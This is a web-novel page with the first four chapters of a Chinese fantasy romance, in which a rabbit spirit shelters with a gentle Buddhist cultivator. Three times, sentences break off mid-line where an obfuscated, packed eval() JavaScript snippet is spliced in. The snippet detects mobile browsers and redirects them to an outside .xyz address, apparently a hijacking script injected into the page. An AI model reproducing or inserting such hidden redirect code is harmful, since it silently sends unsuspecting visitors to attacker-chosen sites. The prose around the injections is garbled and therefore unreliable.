《合欢宗的桃花兔下山了》 1. 第 1 章 风声簌簌,黑林不断闪过急迅又鬼魅的幽影。 幽影所过,大片的黑暗将零星月华吞没,如有生命般在林间铺漫吞噬。 雪色毛发的兔子便突兀地从被吞噬的黑暗中跃出,蔓延的黑暗恍若吃痛般停滞一瞬,然下一刻,黑暗中的幽影便尖唳地化为更多道,急掠灌丛,攻入地底,就连高耸树冠也不放过地卷过。 玉扶疲于奔命,时而化为原形钻入地底,时而借助灌丛躲避,除还未被抓住外,身上早已是一道道缠着黑气的血口。 她每被伤一分,便越发虚弱一分,而那些追逐她不放的幽影,却是越发凝实,恍惚易颜都隐能辨清面目。 玉扶逃了许久,身上所有能补充妖力的药品也耗空,她知晓,再这般下去,她必然逃不掉。 可她并不想成为妖魄的补品。 她终是下定了某种决心,茶色瞳仁逐渐变红,兔形也发生改变,化形成少女的玉扶倏地迸发出强烈的求生意志,如破空的利剑般遁向密林深处。 数道分散幽影毫不迟疑地追去,而落后的几道幽影在卷走玉扶留下的最后几道气息后,也紧追而去。 不多时,幽影们不断从玉扶的身体中穿过,被取悦了般地争相食用猎物。 然猎物殆尽,幽影倏地狂暴—— “骗了——” “被骗了——” “没吃够——” “没吃够——” “吃——要吃——” …… 密密麻麻的嘶啸卷风而过,幽林再次落下月华。 * 寂夜无风,森森荒庙立于野,一个不起眼的小土包被顶起。 玉扶好累,也好难过,她不知道自己到了哪,也不知道妖魄还会不会追上来,但她真的跑不动了。 眼见跟前的破庙,她耷拉着耳又钻入地下,蜿蜒着一条小土道入了破庙。 破庙外头看着破,实际也破,唯独好的大概就是地上的石砖了,顶得玉扶脑门撞出了个包。 她吃痛地抱头躲在破布垂落的供桌下,断裂的爪子上抖落下一簇一簇的尘土,这下不哭也想哭了。 不用细看也知道,她现在一定又脏又小,妖魄一口就能给她吞了。 泪水不断从她眼眶中涌出,想自己可真倒霉,才离开碧山的地界没多久,就遇上了妖域不稳。 尤其是妖隙频现,庞大辨不清面目的妖魄就突兀地出现在面前。 她连反应的机会都没有,就被一下卷入了妖隙中。 她努力逃了好久,爪子都遁地挖秃噜了,可还是不得不用上最后的保命手段,舍了大半修为与精血化出分身诱敌脱身。 她的血脉修的是山神一道,有大可镇山岳,缩可定山倾之说,她的水准现在修的还是前半句,也就是说原形修的越大才越厉害。 在山里的时候,她已能有半个山头大,山里开灵智的的精怪,还有山隔壁的合欢宗同门们,都夸她威武雄壮。 她以前是那么那么大,那么那么威武,可第一次出来,就变得这么这么小,沮丧得玉扶埋入爪中呜咽。 许是因太小的缘故,她呜咽一下,腹部也跟着抽动一下,哭得她伤口也跟着疼了。 可显然的,她的倒霉还没有到头,纷杂的脚步陆续在靠近,来了很多人。 这些人的行动半点不迟疑,也极有目的性,玉扶不由懊恼,她就说怎么会运气这么好,累了就刚好有个破庙可躲,原来本就是有人占据的。 其实早该发现的,这个域界,很不对劲,她起初被卷入时,就见到了许多按理不该在妖域中出现的人族建筑,甚至还很余留生活的气息,就好像不久前还有人住过。 她光顾着跑,当时也不曾多想,现下再想,便觉得这并不无可能。 她虽不是妖域中长成的妖,可对妖域多少还是有些了解,妖域连接四境,其内不知有多少妖城,住了多少大妖。 大妖嘛,打架争地盘也是常有的事,偶尔打的厉害了,妖域就会动荡得出现一些妖隙。 这些妖隙除去可通妖域的不同地界外,也存着一些危险,好一点的就是跑出几个对人界有想法的妖,坏一点的,吞了人族的地界也不是不可能。 玉扶现在无比肯定,她遇到了坏上加坏的情况,不但被跑出去的妖卷入了妖隙,而且这道妖隙还是通向吞了人族地界的妖域。 换了寻常的时候,玉扶还不怕遇到修士,可若是这种情况下的话,遇到的修士,怕不是见到妖就要砍? 玉扶一时连抽噎都不敢了,气息更是敛到方寸之地。 不多时,一群修士便入了庙殿之中,玉扶从供桌垂下的围布下看去,只能见到他们各色的袍摆,有些三两聚在一块的,衣服纹饰就很相似,显然是一伙的,也有甫一入了庙殿,就独自找角落打坐调息的。 但没过多久,他们各自调息好,这种泾渭就弱了许多,相谈到了一处。 “也真是奇怪,这外围我等早就清理过,怎方才经过时,仍有妖息残留?”一年轻修士奇怪道。 与他一色衣袍的修士并不以为然:“这有什么好奇怪的,里头一点的妖兽跑出来了呗。” 这种被妖域接壤吞入的地界,要说有大妖出现,那都是少有的,真正会受到妖域动荡波及的,多是一些连化形都做不到,甚至连灵智都低下的妖兽。 但耐不住量大,越往里头驱赶猎杀时,偶尔有一些又往清理过的外圈跑,也见不得奇怪。 起先开口的修士,想也觉得有道理,便换了话题,“师兄,我还是第一次见到西境的佛子,单他一人,当真能封上还在扩张的妖隙?” “城主怎不多请一些人来。” 被唤作师兄的男子白了他一眼,“独他一人,已是梅江城撞上大运。” 梅江城地处北境千乘洲,属开阳宗治下,但离开阳宗却算不上近,只是此处到底有一条下品灵脉,才形成了这座修士和凡人混居的城池。 妖隙大到吞噬城池治下这种事,几十年都不一定出现一次,若不是恰好有西境的佛子路过,城主传信回到开阳宗再请人过来,这域界都不知晓又要扩大多少。 且西境万佛宗的这位佛子可也不简单,听闻才二百余岁而已,修为就已至三缘境,距佛宗圣者仅一境之隔。 此人也不知何缘故,一直被藏得紧,若非是一次于西境开放的秘境,外头甚至没听过这位佛子的名号。 不过,倒也不是这位佛子也参与秘境了,而是许多当时前往西境的修士,多为各境宗门中的翘楚,听得了一两句万佛宗不出世的佛子修为高深,就寻上门见识去了。 尤其是一些剑修刀修,说白了就是去寻人磨刀砺心的,蹲在人佛宗门口叫嚣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179374|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 佛宗自来清静,哪里受得这样的叫嚣,但前来的又都是各境宗门的年轻翘楚,实在不好驱赶,只得令佛子出面与他们交流。 至于怎么交流的自是不必说,只知热闹了好些时日,落败了不少人,一些剑修刀修在秘境关闭后还不走了,隔上一段时日便又要请佛子出来比试。 只佛子也不甚烦扰,不久便又闭关了。 庙殿中的修士也多不是当时的见证人,但闲聊起这位佛子时,倒像是在现场似的。 玉扶是山上野惯了的兔子,对这些听着没什么兴趣,见他们根本没有发现自己,疲惫一下子便涌来,眼皮控制不住地往下耷。 然没眯多久,一阵阴寒爬上脊背。 玉扶对这种感觉可太熟悉了,就在不久前,她才刚从这种窒息中逃脱。 许是吞了她大半精血的缘故,这次感受到的气息甚至远胜过了之前。 玉扶下意识地遁地,却见外头的修士也察觉了妖魄的存在,立时展开了结界。 妖魄的撞击冲到了结界之上,震动得几个展开结界的修士猛地吐血。 好在庙殿中修士多,妖魄攻入的下一瞬,就又有旁的修士补上。 妖魄被触怒,黑雾更浓,遥远的妖兽也被吸引而来,各种嘶鸣撞击,即便是在结界内的荒庙也跟着震颤。 供桌围布在震动中掀动,玉扶一瞬与妖魄黑洞洞的眼对上—— 它在看她,它还想吃她。 玉扶慌得什么都不想管地刨地,但奇异地,在结界将将再次破裂一瞬,金色的光芒大盛,顶上了原先的结界,就连黑影也退却不少。 她瞧见一片金色的光芒,然后与一些摔在地上修士对上了眼。 相视静默一瞬,玉扶默默刨土。 但这新结界显然比前头的都高明结实,地上也覆盖到刨不下去的程度。 甚至惊动了结界主人望来一眼。 瞧不见,但却如有实质一般。 玉扶知道,是被神识扫过的感觉。 神识很快就从她身上离开,取而代之的是一重重的妖物嘶鸣,还有所有修士解脱般的道谢声。 妖魄没了?这么快? 玉扶一瞬茫然,恶妖无形却仍能以魄存,显然在生前至少是可独镇一域的大妖,不然她也不会逃这般久了,可这么快就没了,玉扶还是觉得不真实。 也是这愣神一瞬的功夫,好几个先才发现她所在的修士,挥力下,掀翻了供桌。 玉扶毫无躲藏地暴露在众人眼前。 “何时藏了一只兔子?” “是妖兽吧?” “不会是这兔子引来的妖魄吧?” “瞧着不像,这么小,生得也不凶,也没察觉到妖息。 …… 这种讨论毕竟是少的,更多是一些宁错杀不放过的修士。 刀光破空,直朝着玉扶而去。 但想象中的疼痛并没有到来,剑光偏离,入眼的白在向玉扶靠近。 他穿的可真多,一层一层的。 下意识的想法窜入玉扶脑中,然后玉扶瞧见了他的面容,华美,偏气质又温和无比。 玉扶并抓不住这一瞬的感觉,脑中只清晰回响着不知是哪位师姐提到的“佛修啊,心肠好。” 几乎再不用他的靠近,玉扶一瞬跃入了他的怀中。 2. 第 2 章 玉扶出生碧山,山隔壁有个叫合欢宗的宗门,只收女弟子。 听姥姥说,这个宗门刚搬来时,整个宗门才几个人,可她见到的时候,这个宗门已经非常大了,大到宗门的巡逻范围将整个碧山都纳入了。 姥姥与这个宗门邻居的关系很好,以至于,她也常与上山的人修闹作一处,她们给她带好吃的,她也会满足她们愿望地用原形将她们裹入怀中。 后来姥姥飞升失败,她也理所应当被托付给了合欢宗,合欢宗的掌门还将她也记为了弟子。 但修炼上她还是独自在山头野,直到出现问题。 妖是有渡情期的,她总觉得不如以前快乐了,山上开了灵智的精怪说她是要发、情了,找个跟她一样的野兔子解决一下就好。 合欢宗的师姐们却认为不能这样随便,要挑个好的、补的。 所以她就熟练了化形,准备下山,下山前,师姐们给她恶补了很多知识,如不能找体修,体修体力好,但可替代的太多了,而且上限有限,不够补。 器修道具多,硬实力也过关,不过很多身上都带着些味,可心的少。 丹修音修长相出众的多,也很有情调。 刀修剑修哪都好,就是动不动修无情道、杀戮道,难接近…… 虽然很多都是玉扶听不懂的话,但她都记下来了,也记得回去前要为大家买哪些道具、丹药、幻阵什么。 只是,当下的关头,也只让她想起“佛修啊,一般心肠好”。 玉扶抖着身地往佛修怀中钻,在一瞬没有被抛开,便觉师姐说的话很有道理,他长得就很像心肠好的。 息尘垂下眼,平静看着将他外袍抓出褶留下印的小兔,微不可闻地轻叹一声,伸手向玉扶。 玉扶一瞬更抓紧了他的衣袍。 佛修察觉到她的害怕,手空滞一瞬,只没碰触到玉扶地将她皮毛外沾染的一些尘土拂去。 很轻柔也很温柔的小术法。 想象中的被扔出去也并没有发生。 玉扶愣愣抬头,第一次对上了佛修的眼,她并不会欣赏人族修士的容貌,可他的眼,无端地给了玉扶“心肠好”之外的感觉,寂寂的,淡淡的,好像包容,又好像只是一种习惯。 玉扶想,佛尊玉像应该就是他这样的,明明就在眼前,但就是很遥远。 不过,管他什么样,只要现在能给她保护就行了。 她能察觉到,从她跳入佛修的怀中开始,先才还对她出剑的修士都老实了。 众人只能见到毛茸茸一团圆球一样的背影,不断往佛子的怀中拱,而佛子也接受了似的托着兔子。 这画面,无异于皎洁月光下的圣坛蹦上了一只小兔,圣坛依旧圣洁,但小兔的大胆和任性,倏地让一切可亲可近了起来。 众人默了默—— 原来佛子是这样好接近的吗? 还是说,佛修的心肠都太好了,连一只兔子都不愿意伤害? 先才出剑的修士忽悟了地收剑:“佛子悲悯,是我着相了。” 一只兔子罢了,连妖兽都算不上,他大惊小怪地出剑,可不就是心性太过浮躁。 难怪那么多天之骄子爱去西境寻佛子磨心砺剑,像他这等资质普通之辈,得佛子一顾,都觉心神得到涤净。 息尘瞥目剑修一眼,很快收回视线,心中无奈,这种眼神过去见过太多,他明明什么也没做,却总有人觉有了收获,然后有的向他道谢,有的放言还会再来。 即便一直在闭关修炼,也仍不断有修士寻上门,直到他入三缘境后,又与许多修士拉开颇多境界,才稍有好转, 但也同样是因入了三缘境,他再不得避世,不空圣者坐化前曾卜他凡尘有因果未了,境界至多达三缘境,便再寸进不得。 一语成谶,至入三缘境已过三十年,他再无丝毫过往修禅时通达,心底反常有一些不该出现的魔障阴影,令他不得不离开佛宗,出行寻找化解机缘。 自西境出发,达毗邻的北境,一路修补妖隙,直至梅江城,城主请他帮忙,没有不帮的道理。 至于,他的因果到底落在哪处,他仍旧没有头绪。 不过,他也并不急,世间万物皆有缘法,时候到了,自然会遇上,他淡声同众人道:“我已在与妖域接壤处设下屏障,诸位可不必担忧妖域的继续扩大。” “这小兽也算不上凶戾,便由我看顾罢。” 玉扶抬了抬眼,好奇他说的小兽,难道是自己?他要照顾自己? 玉扶眼中的期待溢于言表,她想跟着这人,他强大,还心肠好。 而且,最重要的是,她知道,佛修大都是吃素的,她不会变成一道菜。 许是她的高兴太过明显,引得佛修与同佛修对话的修士也都看来。 她听见有修士笑道:“这小兔倒也有几分灵性,说不定同佛子有缘,只瞧着像是伤了,我这有些灵药,佛子不妨拿去给这小兔用用。” 送药修士极为热心,但玉扶知道,这人没比对她出剑的修士好多少,她都闻到呢,这人身上的血气味可重了,肯定没少杀妖兽,分明就是想讨好佛修,才殷勤。 玉扶不懂人修的这些弯弯绕绕,可恰是如此,她反对一些善意中包含的真假,有着敏锐的直觉。 加之,她现在有靠山了,也不惧怕这些人对她动手了,在佛修怀中背着身地哼哼。 几声哼哼明眼可见的记仇。 送药修士虽夸她灵性,可也没想到是这样的灵性,面上不免带上几分尴尬。 息尘也没料到这出,袖摆上移,为玉扶遮掩似的,才接过赠药。 方经过一场妖魄引动的兽潮,虽一下子处理了不少妖兽,可没力气去管太多也是事实,当下同佛子道完谢,也便各自分散调息。 佛修也于破庙中寻了空地坐下,为玉扶上药。 清凉凉的药膏经玉片涂抹在玉扶伤处,极快地抚下了刺疼。 早前,生命时时在危险中,玉扶无空去管这些伤,但现下有人照顾,便又娇气起来,不大的身子抖啊抖,扭啊扭,还偶尔嫌疼地叫唤一下。 明明按着很快就能上好的药,可要照顾玉扶的感受,帮她上药的佛修愣是每隔一会就要停下。 又一次停下,息尘蹙了眉,他的修为能探出这小兔并非普通开了灵智的小兽,气息干净,就连流出的血也隐隐带着一些本源的力量。 这只可能是本身血脉就不凡的灵兔,这种灵物又与纯粹的妖族不同,在修炼上更易褪去妖性得道,但同样的,无论是对一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179375|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人修还是一些妖族来说,都很补。 故而,他在神识发觉这小兔之时,就已知为何有强大的妖魄被引来。 他不忍她落于妖魄,也不忍她死于修士剑下,帮她拦了一下。 然而,没想这小兔会扑到他怀中,尤其是,现在的模样,完全是赖上了他。 但要说讨厌,并不然,只是觉得有些娇气罢了,想来是误入此地吃了很多苦头吧,他停顿的上药动作再次放得更轻。 玉扶也乖巧地更配合了,方才见佛修蹙眉,可吓死她了,她一不小心就当做是在山上的时候同师姐们撒娇了。 她总这样,跟姥姥撒娇,也跟师姐们撒娇,她们身上总有一种很好闻的味道,姥姥是暖暖的,师姐们是香香的。 她下意识地对佛修也嗅了嗅,很淡的木质味道,像清晨的树林。 她喜欢这味道,更凑近地嗅了嗅,鼻尖也触上了佛修的指节,他的手很大,很长,也很好看,掌中央横着一串佛珠,指尖捏着为她上药的玉片,药味与佛珠的檀木味,在这触碰下,更清晰地刺激了她的嗅觉。 好奇驱使下,几乎是在鼻尖触上佛修指节的一瞬,她的舌尖也同时卷过,还是淡淡的,干净得几乎没有味道。 可玉扶却仍品味地眯了眯眼,她觉得喜欢,她喜欢这个佛修给她的感觉,甚至本能地想与他更接近一点。 但佛修显然是被她惊到了,为她上药的手倏地回收,用一种非常奇怪又不解的眼神凝视玉扶。 指节上被舔过的地方,几乎没留下痕迹,可那湿乎乎又温温的一点触感,绝不是错觉。 他平生第一次对灵兽一类感到困惑,它们原是这样亲人的吗? 他修佛,身上的气息自来清正温和,但他深知,自己并不招各类灵兽的待见。 息尘尤记得,初被师尊带回佛宗时,他并不被允许同任何同门接触,但好在静修之所有一片灵猴占据的树林,不至令他太孤独,可那些灵猴并不亲近他,从第一日起,灵猴便对他嘶吼,欲赶他离去。 他想,自己是生面孔,需要与它们熟悉的时日。 第二日又去,灵猴们用树果砸他。 他没有生气,还帮它们将树果捡起。 到了第三日,灵猴变本加厉,对他动手。 他满身抓痕,很可惜被挠破的宗门新衣。 第四日,他初入禅境,依旧被赶。 一月后,入凝戒境,不再惧灵猴砸来的果子。 一年,金刚境,三年,般若境…… 他的气息变得越发平和,可那些灵猴也搬走了,他没有等来灵猴的亲近。 至于往后,偶尔碰到一些灵兽,倒是不再会被嫌弃地遭到驱赶,但也早失去了同它们亲近的念头。 玉扶也盯着那被她舔过一点的指节,什么痕迹都没留下,可她很紧张,也很懊恼,她怎么就突然这样对待救兔恩人了呢? 就算是渡情期,可她原来在山上除了情绪低落一点外,分明能将自己管理得很好。 玉扶一会觉得是佛修气味太诱人,一会又觉得是自己变得太弱,才更趋向了兽的本性。 想来想去,最后决定撒娇。 它用自己的脑袋一下一下地蹭佛修落下的袖摆,身子也向他滚去。 3. 第 3 章 为方便上药,玉扶是被佛修放在他打坐撑起的袍摆上的。 她一滚,重心向里,整个身子都压在佛修垂下的袖摆上,每轻蹭一下,佛修被压绷了的袍摆也会跟着动一下,将她的所有动静传递。 她在撞他—— 息尘第一反应便是如此,可再垂眼,便发觉不是。 小小一团的小兔,抬眼望他一眼,就蹭一下,望一眼,就蹭一下。 无辜,还莫名地像是有点指责? 他落下手,有点无所适从,他总觉得应该对她的举动有点表示,可该如何做却是无从下手。 手指几次微微蜷动,最后还只是与小兔眼对着眼。 玉扶有点气馁,她就没见过定性这么好的人,她都这样撒娇了,身上都还带着伤呢,蹭蹭的,都痛了,他竟然连摸都不想摸一下她。 玉扶对自己的原形是极自信的,她变小的时候,姥姥总夸她是所有兔子中最好看的,师姐们也总想她变小了将她带到各处去,可她常觉得变小了不够威武,只爱用自己修炼出的最大体型显摆。 然即便是她变大的时候,收到的也多是夸赞,精怪们夸她威武,师姐们说她腹部柔软,但很有力量,喜爱靠着她着小憩。 不管什么时候,玉扶就没有被人嫌弃过,可面对佛修,玉扶第一次对自己起了怀疑,难是她现在太脏了? 想法方冒出,玉扶视线便落在佛修腹部的衣袍处,几个不大的爪印异常明显,也异常的熟悉,是她的无疑。 玉扶心虚地退开点压住的袖摆,脑袋小心翼翼地往佛修落在旁的掌心靠,低低呜咽一下,试探地蹭一下,又呜咽一下,蹭一下。 福至心灵般地,息尘好像懂了她的意思,不再需小兔主动蹭他,掌心已拢向小兔的脑袋。 不知是玉扶现在变得太小的缘故,还是佛修的手真的很大,玉扶好像一下就被覆盖住。 但那主动的力道很轻,也不怎么留恋,只摸了一下,过了很久才又摸一下,然后再就没有了。 玉扶气呼呼地背了身,她知道为什么师姐们提起佛修,就心肠好一句话了,因为他真的很木,很有定性,一点也不懂欣赏她的毛茸茸。 息尘也不懂小兔的想法,只摸了两下,好像就生气了? 看来是他会错了意。 但对此,息尘并无多诧异,他本就不受这些灵兽的喜爱,会被主动需求已是难得。 他淡笑而过,再次给玉扶上药。 清凉凉的药意再次覆过了刺疼,玉扶微微扭头,有些原谅了他的不懂欣赏。 毕竟他们本来就不是一个种族嘛,她也不怎么会欣赏人族修士不是吗? 不过,她还会化形,等她恢复妖力,他们就一样了。 她还要说人话,吓他一大跳。 她其实是会说人言的,即便是原形的姿态,但她才不傻,破庙中好多修士对妖有敌意呢。 玉扶得意地想着,短短一簇的尾巴也跟着摇动,继而轻微的呼噜声覆过了疲惫。 是睡着了。 息尘收起药,确定地想。 此时星辰正好,荒庙人疲,可在此的众人终归是修士,大多数时候并不用像凡人一般卧榻而眠,多打坐修整,无论是为小兔的呼噜不影响旁人,还是不令旁人影响了小兔,息尘在将玉扶放置到一旁时,在她身上罩了一个小小的结界。 结界的光圈濛亮,不大,但足以令她安眠。 息尘的视线无意地落在小小的兔子身上,她团成了一团,呼吸的缘故,整个身子都倏大倏小地起伏着,就像个时而膨胀时而缩小的毛茸小球。 息尘不由哂然一笑,下意识想一下先前触碰到的触感,很小,毛发也极其柔软,云朵一样。 他不自觉地抬起手,对着玉扶虚虚比了一下,也就比巴掌大一点,也不知是怎么落到这的。 今日后又该如何处理? 要带上她吗? 念头极快地划过他的脑中,又很快压下,修行之人,动念即乖,实不该。 他不再看结界圈中的玉扶,闭目调息。 * 一夜经战,距离白日其实很快,也就个把的时辰,毁破的破庙屋顶便有曦光落下,曦光没有热度,却蕴着生气。 玉扶无意识地吸纳着一日初蒙时的精气,整个兔身都朦着一层曦光,毛发纤毫闪亮,直如个会发光的毛团子。 息尘没有唤醒她,而是将她连同结界都收拢为一个球形空间,收入袖中。 当下处的域界与妖域重新割裂开后,其实也便不存在什么值得注意的危险,若非昨日出现的妖魄,他也早该回梅江城告知梅江城城主。 如今天光大亮,一夜也不再出现诸如妖魄那等凶烈妖物,在场修士也自可处理好余留的妖兽。 他再没有留下的必要,出了庙殿,便与众人相散。 而玉扶再睁眼时,也已不见了庙殿,她像是被关入了一个光团中,外头黑漆漆的。 玉扶生气地冲撞,妖纹隐隐于眼下浮现,不过也就亮了一下而已,马上就暗淡了。 但即便是这些响动,也足够惊动息尘。 他方有解除结界的动作,圆球一般的结界从他袖口掉出,也于半空中解开了结界,玉扶摔落地上。 不大的小兔于比她还高的绿草中,双眼灵性十足地怒瞪,虽没什么威慑力,气势却很足,全然不似之前的乖巧模样。 不过,这种不乖巧很快就消失了,玉扶甫一瞧清带走她的还是那个好心肠的佛修,立马虚弱地栽倒,分量十足地压倒了一小片绿草,可怜的呜咽随之而出。 细细的,嗯嗯的,假得人想发笑,也灵性得人怀疑当真只是个开了灵智的小兽? 不过想到她的血脉,也不排除是一些种族生来就带的传承缘故。 玉扶没有等来好心肠的佛修来将她抱回怀里,她听见他道:“醒了也好,你身上的伤也愈合,可以自行离去了。” 玉扶陡地瞠大了眼,灵药有效,外伤愈合的极快,可她根本不止是有外伤。 她几乎是剥离了另一个自己,才活下来,现在自行离去同自生自灭有何区别? 玉扶在山上称王称霸,可一下山就吃了教训,她现在非常惜命,并不想离开厉害的佛修。 而且佛修的好心肠也令她生了留恋。 她运气这么差,万一再遇不到这样好心肠的修士可怎么办? 玉扶几乎是弹射般地从草地扑向佛修,秃噜的爪子牢牢揪住了佛修的袖摆,袖摆宽大,她坠在上头一晃一晃,抬起的眼,两丸黑水一样透着泪。 息尘在一瞬恍若听到无数呢喃的请求—— “你这么悲天悯人,带上我吧带上我吧带上我吧……” “呜呜呜,我会被大妖吃掉的。” “我会很乖的。” “求你了,求你了。” …… 这些请求一股脑地出现,像在风里,也像出自他体内,多得几乎要将他淹没。 无疑的,绝不是他幻听。 垂眼定睛,这次,他清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179376|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧见小兔在蹭他袍摆时,脑门上跃出透明魂体一样的小兔,魂体小兔跳跃着钻入他的袍袖,撞入他体内,将主人的所有情绪传递。 又一只魂体小兔从玉扶头顶冒出,息尘伸手将其按回,无奈道:“我知道了,会带上你。” 被按回的魂体小兔让玉扶哽了一下,这是她血脉传承中的一个小神通,析出的并非魂体,而是一种神识的化身,可以融入树木、溪流、山风……与山间生灵沟通。 当然,还不止如此,她妖力鼎盛的时候,还可以短暂与山间生灵共感,看到它们所看到,感知到它们所感知的。 不过她没有用在人修身上过,方才也先是融入风中而已,是魂体小兔不受控地钻入了佛修的袖袍中,才发现佛修对她并没有防备。 总之,心意传达到了便好,一听得佛修愿意带上她了,玉扶爪子一松,又向下落去。 不过这次,在她堪堪要触上青草尖时,有人托住了她,玉扶顺势用前爪勾住了佛修的手,令他再不能放开。 她抱得太紧,体温透过蓬松柔软的兔毛,将人手心手背都拥得热烘烘的,幽微一点异样的感觉漫上息尘心头。 虽很多妖兽在没化形前,都不怎么区分男女,可毕竟是开了灵智,先才的声音,即便有些幼气,也仍表明了她先天的性别。 这种认知,息尘无法再将玉扶随意对待,一时都不知该如何带上她好。 玉扶被佛修隔着半臂距离,动都不带动地托着一会,开始忐忑,她情急之下暴露了一小点自己的本事,不会是看出她是妖,就心肠硬起来了吧? 人修真是复杂,人了、妖了、魔了、兽了,区分这么清楚,化形后看上去哪有什么不同! 玉扶心里想得不服气,可动作下却是又蹭了蹭佛修,大有“你难道不抱我”的意味。 她实在灵性十足,意味也分明,息尘轻叹一声,还是将玉扶拢入了怀中,隔着一层软乎乎结界似的薄膜。 玉扶:...... 奇耻大辱,她从来没有被人这样嫌弃过。 玉扶磨牙似的在息尘怀中乱动,那层薄膜也适应她动作地变化。 试了一会,玉扶颓了。 算了,心肠好愿意带着她就行,等她妖力恢复—— 玉扶一时竟想不到妖力恢复要如何做,她妖魄都敌不过,又如何能敌的过佛修? 可有一点,玉扶是确定的,她一定要佛修把这该死的薄膜去掉,然后喜欢她,就像师姐们对她的那种喜欢一样,愿意主动来摸摸她。 息尘赶路并不用什么法宝,他每跨一步,身形就已出现在数十里外,是一种空间术法。 对玉扶身上覆的结界薄膜,除去一时的避讳外,也无不有担忧施法赶路时,空间扭曲对小兔有影响。 他向来念头通达,些微异样念头对他并造不成影响,佛语虽有言“动念即乖”,可亦有云“心行处灭”,既早动过带上灵兔的念头,现若为了克制念头放任其自生自灭,才是违心,不利修行。 至于性别之分,还是幼兔罢了。 况且,兽与人本就不同,便是天生有血脉传承的妖族,从蒙昧到化形也非易事。 息尘想到这,施展空间术法遁空之余,感受了一下怀中小兔的存在,想她有灵智,有血脉的神通传承,这样还未长成的天佑生灵,当下也该多照顾几分。 到了梅江城,或许可向城主打问一下,若有出处,也好送归。 玉扶自是不知佛修在想什么,她虚弱的小身板已经晕空间术了。 4. 第 4 章 空间之法向来难学,需悟性,需身体素质,还需修为,缺一不可。 玉扶即便隔着一层结界,也能感受到空间扭曲带来的晕眩。 再多来几次,她可能真要吐了,以至于,佛修停在了人族城池城门口时,她还恹恹的。 到了梅江城,息尘便不再施展遁空,如常人一般排着队入城。 梅江城是仙凡混居的城池,修士入城需多个步骤登记,不过,佛修显然是之前就来过,他跨过城门时,门口的大阵自发地亮一下,便直接入了城。 玉扶还是她第一次踏入人族修士的城池,好奇地探出头。 她听师姐们提过这些规矩,且她想象中的第一次进城,也不该是现在这样被人塞在衣袍里的。 她懊丧得完全自暴自弃,往外探头的身子咕噜一下顺着佛修的胸膛滑下。 息尘未穿袈裟,外袍是宽大长衫,侧系,无腰封,内里才是可放物的交襟,玉扶这一滚,便是直直地往下。 电光石火间,玉扶想勾住些什么,但很不巧,那一层薄膜似的结界,让她的爪子没了用武之地。 只隐约地捏到一片衣料,滑开,无助地下坠,从佛修的袍摆下落地。 玉扶生气地坐在地上。 雪白一团还没过路修士的脚掌大。 息尘显然也察觉了怀中的空落,但玉扶下坠得太突然,也太快,当他感到腿部的勾动,已然来不及阻止。 他无奈垂眼,在往来人流中,同玉扶一高一低无言对视。 许是相处了有快一日,也或许是玉扶表现出的灵性,息尘轻易就能读懂玉扶的情绪—— 是在生气。 气呼呼的一团,动也不动,甚至与他对视后,还扭过了头。 气性真大。 息尘想。 玉扶扭头后,有在偷偷观察佛修,她也知道,其实不该生气,毕竟佛修现在是她要赖上的大靠山,而且佛修也不是很喜欢她,是她求他,他心肠好,迫不得已才带上她。 可她今日连着被摔了两次了,尤其是这一次,如果不是这个薄膜,她可以不用摔下的。 虽然也因为这层结界似的薄膜,即便摔了,她也没感到疼。 但玉扶就是生气,她变小了,控住不住自己。 而且,她还在渡情期,她看过古籍,古籍上说,渡情期是妖身体阶段的反应,很多情绪就是会被放大的。 玉扶为自己的情绪找到借口,可她太矮了,现在的视线即便还偷偷留意着佛修,也只能看见佛修的衣袍下摆。 她默数着,她就再生气一下,佛修不过来,她就自己重新跟上去, 然她默数的节拍才起了头,那片衣袍动了,落在她面前,佛修蹲下身,朝她倾腰,持着佛珠的手就在眼前。 再次瞧佛修的手,玉扶仍旧觉得好看,但与上次不同的是,玉扶惊讶一刹后,心跳好像都加快了不少。 她视线随着佛修指节上移,第一次仔细观察佛修—— 层叠衣料压着的腕,然后好久才是层层叠叠的衣领,她方才就是从这里头往下落的,原来里面还有这么多层啊。 玉扶第二次觉得佛修穿的多了。 她在山上就没有见过穿这么多层的人,大家都穿的很凉快,用师姐们的话来说,那就是大家都是修士不惧炎寒了,又何必再多负累几层身外物。 玉扶一直觉得很有道理。 她想的出神,面前手的主人也好似有无尽的耐心,他没有收回手,也没有不耐烦地抓她起来,只是将手放得更低了些。 这也是因为心肠好吗? 玉扶有点不懂了,她知道开心、生气、哀伤、难过,可更多更复杂的情绪,当它们第一次出现时,玉扶总是难以去抓住、去理解。 她疑惑昂头,这次,视线越过佛修交叠的衣领,看清了佛修。 